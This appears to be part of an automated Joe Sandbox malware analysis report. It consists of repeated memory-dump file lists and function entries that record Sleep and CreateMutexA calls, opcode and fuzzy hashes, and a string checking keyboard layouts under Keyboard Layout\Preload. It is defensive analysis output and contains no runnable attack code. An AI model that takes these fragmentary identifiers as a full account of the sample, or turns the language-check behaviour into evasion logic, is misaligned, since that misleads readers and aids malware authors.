Associated: 00000000.00000002.1714622700.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714637381.0000000000DDD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000DF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714684582.0000000000E08000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714698298.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714718506.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714733588.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714750396.0000000000E2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714764290.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714778209.0000000000E30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714791594.0000000000E32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714805661.0000000000E39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714820068.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714837670.0000000000E57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714851841.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714878990.0000000000E60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714892305.0000000000E61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714904864.0000000000E62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714918265.0000000000E68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714935032.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714949024.0000000000E83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963218.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714978070.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991667.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005271.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715018471.0000000000E92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715034183.0000000000E95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715047405.0000000000E96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000EDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715106485.0000000000F0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715120925.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715133981.0000000000F10000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715148964.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715162273.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715177397.0000000000F26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 62777316ba0677fca198e48cc2867b66b6d2a89da6644823ce049a8063b29cb4
Instruction ID: a87c50c6dc665d13f7cf5cb3192f735c8e7cbf1e56f975b1b8fe0853fe15f102
Opcode Fuzzy Hash: 62777316ba0677fca198e48cc2867b66b6d2a89da6644823ce049a8063b29cb4
Instruction Fuzzy Hash: 22F1E070A002589BEB24DF64CC84BDEBBB9EF45300F5046A8F419A7281DB749BC8DB95

Function 00C19BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C1A963
CreateMutexA.KERNEL32(00000000,00000000,00C73254), ref: 00C1A981

Memory Dump Source

Source File: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.1714437923.0000000000C10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714453204.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714504590.0000000000C79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714519450.0000000000C7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714535138.0000000000C87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714622700.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714637381.0000000000DDD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000DF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714684582.0000000000E08000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714698298.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714718506.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714733588.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714750396.0000000000E2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714764290.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714778209.0000000000E30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714791594.0000000000E32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714805661.0000000000E39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714820068.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714837670.0000000000E57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714851841.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714878990.0000000000E60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714892305.0000000000E61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714904864.0000000000E62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714918265.0000000000E68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714935032.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714949024.0000000000E83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963218.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714978070.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991667.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005271.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715018471.0000000000E92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715034183.0000000000E95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715047405.0000000000E96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000EDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715106485.0000000000F0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715120925.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715133981.0000000000F10000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715148964.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715162273.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715177397.0000000000F26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: cb943577fd32c1ba306375932da5989d30ecb8f5272cbc1191c2dbc62023f6d8
Instruction ID: 2311c3269ef7c09efed7c1e704cb32d0172654ff5ca1418906eca3b006ac527a
Opcode Fuzzy Hash: cb943577fd32c1ba306375932da5989d30ecb8f5272cbc1191c2dbc62023f6d8
Instruction Fuzzy Hash: 2D315B31705240CBEB18DB78DC997ADB7A2EBC7310F248218E0599B3D6C7754AC1A751

Function 00C19F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C1A963
CreateMutexA.KERNEL32(00000000,00000000,00C73254), ref: 00C1A981

Memory Dump Source

Source File: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.1714437923.0000000000C10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714453204.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714504590.0000000000C79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714519450.0000000000C7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714535138.0000000000C87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714622700.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714637381.0000000000DDD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000DF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714684582.0000000000E08000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714698298.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714718506.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714733588.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714750396.0000000000E2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714764290.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714778209.0000000000E30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714791594.0000000000E32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714805661.0000000000E39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714820068.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714837670.0000000000E57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714851841.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714878990.0000000000E60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714892305.0000000000E61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714904864.0000000000E62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714918265.0000000000E68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714935032.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714949024.0000000000E83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963218.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714978070.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991667.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005271.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715018471.0000000000E92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715034183.0000000000E95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715047405.0000000000E96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000EDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715106485.0000000000F0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715120925.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715133981.0000000000F10000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715148964.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715162273.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715177397.0000000000F26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: cf3dfa667f17d429b943df967e4088b3ad7429967ebe0c6fa55b24533503934d
Instruction ID: ed14dd897d95a024cbd109d8283352faa6a5be9c5f3333a5496fa9c0b47caa47
Opcode Fuzzy Hash: cf3dfa667f17d429b943df967e4088b3ad7429967ebe0c6fa55b24533503934d
Instruction Fuzzy Hash: 50312631701240DBEB18DB78D8887ECB7A2EBC6310F248619F069DB7D6C73589C1A762

Function 00C1A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C1A963
CreateMutexA.KERNEL32(00000000,00000000,00C73254), ref: 00C1A981

Memory Dump Source

Source File: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.1714437923.0000000000C10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714453204.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714504590.0000000000C79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714519450.0000000000C7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714535138.0000000000C87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714622700.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714637381.0000000000DDD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000DF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714684582.0000000000E08000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714698298.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714718506.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714733588.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714750396.0000000000E2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714764290.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714778209.0000000000E30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714791594.0000000000E32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714805661.0000000000E39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714820068.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714837670.0000000000E57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714851841.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714878990.0000000000E60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714892305.0000000000E61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714904864.0000000000E62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714918265.0000000000E68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714935032.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714949024.0000000000E83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963218.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714978070.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991667.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005271.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715018471.0000000000E92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715034183.0000000000E95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715047405.0000000000E96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000EDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715106485.0000000000F0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715120925.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715133981.0000000000F10000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715148964.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715162273.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715177397.0000000000F26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4afa784dcd829cfceb1775c0277b48ca39bc15d17ad8c4ae969eeda7836d9cb2
Instruction ID: 9ea7eb398916cdea7bc73726264ab59880199f5eb6ff584111432078aca566e1
Opcode Fuzzy Hash: 4afa784dcd829cfceb1775c0277b48ca39bc15d17ad8c4ae969eeda7836d9cb2
Instruction Fuzzy Hash: F6316A31701240DBEB18DB78DC887ACB762DFC7310F248618E0299B7D6C77699C1A762

Function 00C1A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C1A963
CreateMutexA.KERNEL32(00000000,00000000,00C73254), ref: 00C1A981

Memory Dump Source

Source File: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.1714437923.0000000000C10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714453204.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714504590.0000000000C79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714519450.0000000000C7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714535138.0000000000C87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714622700.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714637381.0000000000DDD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000DF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714684582.0000000000E08000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714698298.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714718506.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714733588.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714750396.0000000000E2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714764290.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714778209.0000000000E30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714791594.0000000000E32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714805661.0000000000E39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714820068.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714837670.0000000000E57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714851841.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714878990.0000000000E60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714892305.0000000000E61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714904864.0000000000E62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714918265.0000000000E68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714935032.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714949024.0000000000E83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963218.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714978070.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991667.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005271.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715018471.0000000000E92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715034183.0000000000E95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715047405.0000000000E96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000EDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715106485.0000000000F0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715120925.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715133981.0000000000F10000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715148964.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715162273.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715177397.0000000000F26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b3ab961be4eb235864a462a1dcf1e259431375560a5270f1d82e8d4f2dbf834f
Instruction ID: 9e3e876fbb8733e0557f4ff787990efd237c32fb0a60651eeac0939df6520855
Opcode Fuzzy Hash: b3ab961be4eb235864a462a1dcf1e259431375560a5270f1d82e8d4f2dbf834f
Instruction Fuzzy Hash: FB312A31701140DBEB18DB78DC8D7ADB762AFC7310F248618E0189B7D6D77649C5A752

Function 00C1A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C1A963
CreateMutexA.KERNEL32(00000000,00000000,00C73254), ref: 00C1A981

Memory Dump Source

Source File: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.1714437923.0000000000C10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714453204.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714504590.0000000000C79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714519450.0000000000C7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714535138.0000000000C87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714622700.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714637381.0000000000DDD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000DF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714684582.0000000000E08000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714698298.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714718506.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714733588.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714750396.0000000000E2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714764290.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714778209.0000000000E30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714791594.0000000000E32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714805661.0000000000E39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714820068.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714837670.0000000000E57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714851841.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714878990.0000000000E60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714892305.0000000000E61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714904864.0000000000E62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714918265.0000000000E68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714935032.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714949024.0000000000E83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963218.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714978070.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991667.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005271.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715018471.0000000000E92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715034183.0000000000E95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715047405.0000000000E96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
